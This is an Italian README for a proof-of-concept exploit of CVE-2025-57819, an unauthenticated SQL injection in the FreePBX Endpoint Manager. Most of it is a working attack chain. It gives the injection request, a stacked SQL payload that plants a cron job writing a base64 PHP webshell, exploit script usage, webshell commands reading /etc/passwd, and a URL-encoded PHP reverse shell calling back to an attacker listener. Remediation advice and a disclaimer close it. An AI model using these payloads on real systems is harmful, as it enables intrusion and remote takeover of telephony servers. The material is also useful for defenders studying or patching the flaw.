
SQL injection non autenticata in FreePBX Endpoint Manager (CVE-2025-57819) che inietta una webshell PHP programmata via cron per esecuzione remota di codice.
FreePBX è la GUI web open-source per Asterisk PBX, ampiamente implementata in ambienti telefonici aziendali. Il modulo Endpoint Manager espone un gestore AJAX in /admin/ajax.php che accetta un parametro brand e lo interpola direttamente in una query SQL senza sanificazione. Un attaccante remoto non autenticato può iniettare SQL arbitrario, inserire una riga nella tabella cron_jobs e far scrivere al demone cron di FreePBX una webshell PHP eseguibile nella root web — ottenendo l'esecuzione di codice remoto non autenticata in circa un minuto.
| Campo | Valore |
|---|
| ID CVE | CVE-2025-57819 |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — Neutralizzazione impropria di elementi speciali utilizzati in un comando SQL |
| Componente | Modulo Endpoint Manager di FreePBX |
| Affetto | FreePBX 17.x (non corretto) |
| Corretto | FreePBX 17.x (corretto) |
| Vettore d'attacco | Rete — Nessuna autenticazione richiesta |
La richiesta vulnerabile ha come target il gestore comandi AJAX del modulo Endpoint:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
Il parametro brand viene concatenato in una query SQL senza escape o prepared statements. Un attaccante chiude la stringa della query e aggiunge una seconda istruzione:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
La voce cron iniettata viene eseguita ogni minuto con i permessi del processo web-server/Asterisk e scrive:
<?php system($_GET[cmd]); ?>
in /var/www/html/webshell.php, fornendo esecuzione di comandi OS non autenticata tramite HTTP.
Il gestore AJAX del modulo Endpoint costruisce SQL dinamicamente utilizzando la formattazione di stringhe anziché query parametrizzate. Il campo brand non viene mai convalidato o escapato prima di essere incorporato in un'istruzione SELECT, rendendolo trivialmente iniettabile.
Attaccante ──GET (iniezione SQL)──▶ /admin/ajax.php ──INSERT──▶ tabella cron_jobs
│
Demone cron FreePBX (≤60s) │
▼
Attaccante ──GET ?cmd=id──────────▶ /webshell.php ◀── scritta ── cron exec
pip install requests urllib3
-t, --target Indirizzo IP o nome host del target (obbligatorio)
--timeout Secondi di attesa per la disponibilità del target (default: 30)
--delay Secondi di attesa per l'esecuzione del job cron (default: 65)
1. Esegui l'exploit contro il target:
# Base — attendi 65 s per l'attivazione del job cron
python3 exploit.py -t <IP>
# Usa un nome host
python3 exploit.py -t connected.htb
# Attesa cron estesa su target lenti
python3 exploit.py -t <IP> --delay 90
2. Se la webshell è confermata, interagisci direttamente:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. Passa a una reverse shell tramite la webshell:
Avvia un listener sulla tua macchina:
nc -lvnp <PORTA_LOCALE>
Poi attiva una reverse shell PHP attraverso il parametro cmd (codificato in URL):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<IP_LOCALE>%22%2C<PORTA_LOCALE>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
Il payload decodificato inviato come cmd è:
php -r '$sock=fsockopen("<IP_LOCALE>",<PORTA_LOCALE>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX Endpoint Module · Iniezione SQL → Webshell Cron ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
Componente : Modulo Endpoint FreePBX
Affetto : 17.x non corretto → Corretto: 17.x corretto
CVSS : 9.8 (Critico)
Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — Iniezione SQL
Tipo : Iniezione SQL non autenticata → Webshell PHP pianificata via cron
Riferimento : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Sondaggio target <IP> (max 30s) ...
14:03:12 [+] Target vivo — HTTP 200
14:03:12 [*] Iniezione endpoint : http://<IP>/admin/ajax.php
14:03:12 [!] Iniezione job cron tramite iniezione SQL ...
14:03:12 [+] Richiesta di iniezione inviata
14:03:12 [*] Attesa di 65 s per l'esecuzione del job cron ...
14:04:17 [*] Sondaggio webshell su http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Webshell attiva — output comando:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] URL webshell: http://<IP>/webshell.php?cmd=<comando>
14:04:17 [+] Procedura exploit completata.
Nota sui tempi. Il
--delaypredefinito di 65 secondi garantisce che il demone cron (che si attiva all'inizio di ogni minuto) abbia avuto almeno un'opportunità di eseguire il job iniettato. Su target lenti, aumentare a--delay 90o--delay 120.
| Priorità | Azione |
|---|---|
| Critico | Applicare immediatamente la patch del fornitore FreePBX per CVE-2025-57819 |
| Critico | Rimuovere eventuali artefatti esistenti di /var/www/html/webshell.php |
| Alto | Limitare l'accesso a /admin/ajax.php a fonti di rete autenticate e fidate |
| Alto | Controllare e sanificare tutte le query SQL nel modulo Endpoint Manager — utilizzare prepared statements |
| Medio | Limitare la tabella cron_jobs: limitare quali ruoli possono eseguire INSERT |
| Medio | Applicare una regola WAF che blocchi i pattern di query impilate sull'endpoint AJAX |
| Basso | Eseguire il processo FreePBX/Asterisk con un account di privilegio minimo senza accesso in scrittura alla root web |
Questo exploit è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta. L'uso non autorizzato è illegale e non etico.